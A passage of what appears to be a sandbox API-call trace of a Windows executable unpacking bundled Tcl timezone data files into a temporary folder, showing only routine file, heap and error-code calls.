(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.324] GetFileType (hFile=0x10c) returned 0x1 [0038.324] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.324] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.324] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.324] CloseHandle (hObject=0x10c) returned 1 [0038.325] GetLastError () returned 0x0 [0038.325] SetLastError (dwErrCode=0x0) [0038.325] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ouagadougou") returned 75 [0038.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ouagadougou" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\ouagadougou"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.325] GetLastError () returned 0x2 [0038.325] SetLastError (dwErrCode=0x2) [0038.325] GetLastError () returned 0x2 [0038.325] SetLastError (dwErrCode=0x2) [0038.325] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ouagadougou", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ouagadougou", lpFilePart=0x0) returned 0x4a [0038.325] GetLastError () returned 0x2 [0038.325] SetLastError (dwErrCode=0x2) [0038.325] GetLastError () returned 0x2 [0038.325] SetLastError (dwErrCode=0x2) [0038.325] GetLastError () returned 0x2 [0038.325] SetLastError (dwErrCode=0x2) [0038.325] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ouagadougou") returned 75 [0038.325] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Ouagadougou" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\ouagadougou"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.325] GetFileType (hFile=0x10c) returned 0x1 [0038.325] htonl (hostlong=0x91000000) returned 0x91 [0038.325] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.325] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x91, lpOverlapped=0x0) returned 1 [0038.327] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.327] CloseHandle (hObject=0x10c) returned 1 [0038.327] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.327] htonl (hostlong=0x30000000) returned 0x30 [0038.327] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.327] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.328] GetFileType (hFile=0x10c) returned 0x1 [0038.328] htonl (hostlong=0x915f5800) returned 0x585f91 [0038.328] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0f91, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.328] htonl (hostlong=0x97000000) returned 0x97 [0038.328] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x97) returned 0x55cfe0 [0038.328] htonl (hostlong=0x97000000) returned 0x97 [0038.328] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.328] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.328] htonl (hostlong=0xac000000) returned 0xac [0038.328] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xac) returned 0x550600 [0038.328] htonl (hostlong=0x97000000) returned 0x97 [0038.328] htonl (hostlong=0xac000000) returned 0xac [0038.328] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.328] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.328] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.328] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.328] CloseHandle (hObject=0x10c) returned 1 [0038.328] GetLastError () returned 0x0 [0038.328] SetLastError (dwErrCode=0x0) [0038.328] GetLastError () returned 0x0 [0038.328] SetLastError (dwErrCode=0x0) [0038.328] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.329] GetFileType (hFile=0x10c) returned 0x1 [0038.329] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.329] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.329] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.329] CloseHandle (hObject=0x10c) returned 1 [0038.329] GetLastError () returned 0x0 [0038.329] SetLastError (dwErrCode=0x0) [0038.329] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.330] GetFileType (hFile=0x10c) returned 0x1 [0038.330] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.330] CloseHandle (hObject=0x10c) returned 1 [0038.330] GetLastError () returned 0x0 [0038.330] SetLastError (dwErrCode=0x0) [0038.330] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.330] GetFileType (hFile=0x10c) returned 0x1 [0038.330] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.331] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.331] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.331] CloseHandle (hObject=0x10c) returned 1 [0038.331] GetLastError () returned 0x0 [0038.331] SetLastError (dwErrCode=0x0) [0038.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Porto-Novo") returned 74 [0038.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Porto-Novo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\porto-novo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.331] GetLastError () returned 0x2 [0038.331] SetLastError (dwErrCode=0x2) [0038.331] GetLastError () returned 0x2 [0038.331] SetLastError (dwErrCode=0x2) [0038.331] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Porto-Novo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Porto-Novo", lpFilePart=0x0) returned 0x49 [0038.331] GetLastError () returned 0x2 [0038.331] SetLastError (dwErrCode=0x2) [0038.331] GetLastError () returned 0x2 [0038.331] SetLastError (dwErrCode=0x2) [0038.331] GetLastError () returned 0x2 [0038.331] SetLastError (dwErrCode=0x2) [0038.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Porto-Novo") returned 74 [0038.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Porto-Novo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\porto-novo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.332] GetFileType (hFile=0x10c) returned 0x1 [0038.332] htonl (hostlong=0xac000000) returned 0xac [0038.332] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.332] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xac, lpOverlapped=0x0) returned 1 [0038.333] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.333] CloseHandle (hObject=0x10c) returned 1 [0038.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.334] htonl (hostlong=0x30000000) returned 0x30 [0038.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.334] GetFileType (hFile=0x10c) returned 0x1 [0038.334] htonl (hostlong=0x28605800) returned 0x586028 [0038.334] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d1028, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.334] htonl (hostlong=0x96000000) returned 0x96 [0038.335] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x55cfe0 [0038.335] htonl (hostlong=0x96000000) returned 0x96 [0038.335] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.335] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.335] htonl (hostlong=0xac000000) returned 0xac [0038.335] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xac) returned 0x550600 [0038.335] htonl (hostlong=0x96000000) returned 0x96 [0038.335] htonl (hostlong=0xac000000) returned 0xac [0038.335] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.335] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.335] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.335] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.335] CloseHandle (hObject=0x10c) returned 1 [0038.335] GetLastError () returned 0x0 [0038.335] SetLastError (dwErrCode=0x0) [0038.335] GetLastError () returned 0x0 [0038.335] SetLastError (dwErrCode=0x0) [0038.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.335] GetFileType (hFile=0x10c) returned 0x1 [0038.335] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.336] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.336] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.336] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.336] CloseHandle (hObject=0x10c) returned 1 [0038.336] GetLastError () returned 0x0 [0038.336] SetLastError (dwErrCode=0x0) [0038.336] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.336] GetFileType (hFile=0x10c) returned 0x1 [0038.336] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.336] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.336] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.336] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.336] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.336] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.336] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.336] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.336] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.336] CloseHandle (hObject=0x10c) returned 1 [0038.336] GetLastError () returned 0x0 [0038.336] SetLastError (dwErrCode=0x0) [0038.336] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.337] GetFileType (hFile=0x10c) returned 0x1 [0038.337] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.337] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.337] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.337] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.337] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.337] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.337] 